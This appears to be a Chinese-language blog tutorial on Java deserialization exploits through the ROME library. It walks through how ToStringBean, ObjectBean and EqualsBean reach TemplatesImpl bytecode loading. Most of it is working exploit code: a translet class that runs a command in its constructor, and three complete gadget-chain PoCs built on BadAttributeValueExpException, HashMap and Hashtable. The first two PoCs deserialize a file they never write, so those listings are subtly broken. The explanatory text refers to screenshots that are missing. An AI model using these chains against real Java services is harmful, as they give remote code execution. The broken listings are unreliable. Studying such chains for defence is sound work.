Rome
Rome 就是为 RSS聚合开发的框架, 可以提供RSS阅读和发布器。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作
Calc
package bytecode;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException; public class Calc extends AbstractTranslet {
public Calc(){ try { Runtime.getRuntime().exec("calc"); } catch (IOException ignored) {
} } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
toString触发
看一下构造方法,两个可控

看看这个ToStringBean的toString()方法干了什么

最后调用了私有的toString,再调用 BeanIntrospector.getPropertyDescriptors(), 查了一下, 作用是获取类属性的getter和setter。
接着通过获取的属性写入pds,调用pds[i] 的 getName() 和 getReadMethod() 来获取方法名,和方法,最后invoke,调用的方法是 无参函数

跟进 getPropertyDescriptors(), 如果传入的Class在 _introspected 这个Map里面没有找到, 就调用getPDs()然后添加到 _introspected

跟进getPDs(), 发现调用了它的重构方法

getPDs,这里获取setter和getter。

回到toString, 通过for循环,经getName 和 getReadMethod 来获取方法名,和方法,接着invoke进行调用,调用 getter 方法

就可以使用 TemplateImpl 中的 getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法, 来动态加载字节码。
所以,ToStringBean 的 toString 最后可以利用TemplateImpl加载字节码
链子后半段利用已经完成,需要找到上半段链子为入口
BadAttributeValueExpException
CC5中利用的点
在 BadAttributeValueExpException的 readObject 中调用 valObj 的 toString 方法 而 valObj是通过获取val的值来进行赋值,也就是可控
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field;
public class ROME {
public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "jiang"); setFieldValue(obj, "_class", null); setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException, "val", bean); unserialize("ser.bin");
} public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close();
} public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } }
|
ObjectBean
这来源于ysoserial 的利用链,看调用链就完事了
/** * * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * @author mbechler * */
|
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import javassist.ClassPool;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class ROME {
public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "jiang"); setFieldValue(obj, "_class", null); setFieldValue(obj, "_bytecodes", new byte[][]{code});
ToStringBean bean = new ToStringBean(Templates.class, obj); ObjectBean objectBean = new ObjectBean(String.class,"jiang");
HashMap map = new HashMap(); map.put(objectBean,""); setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,bean));
unserialize("ser.bin");
} public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close();
} public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } }
|
除了 HashMap 里有 hashCode() 方法的调用,还有 Hashtable 这个类的 readObject 方法也存在 hashCode() 的调用
EqualsBean
在EqualsBean 里,可以找到相似ToStringBean 的利用,beanEquals 方法

向上发现equals调用

等于说后半段已经找好,需要找调用equals的前半段链子,CC7中,存在调用equals,这样前半段找好

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.ClassPool; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable;
public class ROME {
public static void main(String[] args) throws Exception { byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_name", "jiang"); setFieldValue(obj, "_class", null); setFieldValue(obj, "_bytecodes", new byte[][]{code});
EqualsBean bean = new EqualsBean(String.class,"jiang");
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",bean); map1.put("zZ",obj); map2.put("zZ",bean); map2.put("yy",obj); Hashtable table = new Hashtable(); table.put(map1,"1"); table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class); setFieldValue(bean,"_obj",obj);
serialize(table); unserialize("ser.bin");
} public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; }
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } }
|
参考
Java安全之ROME反序列化利用分析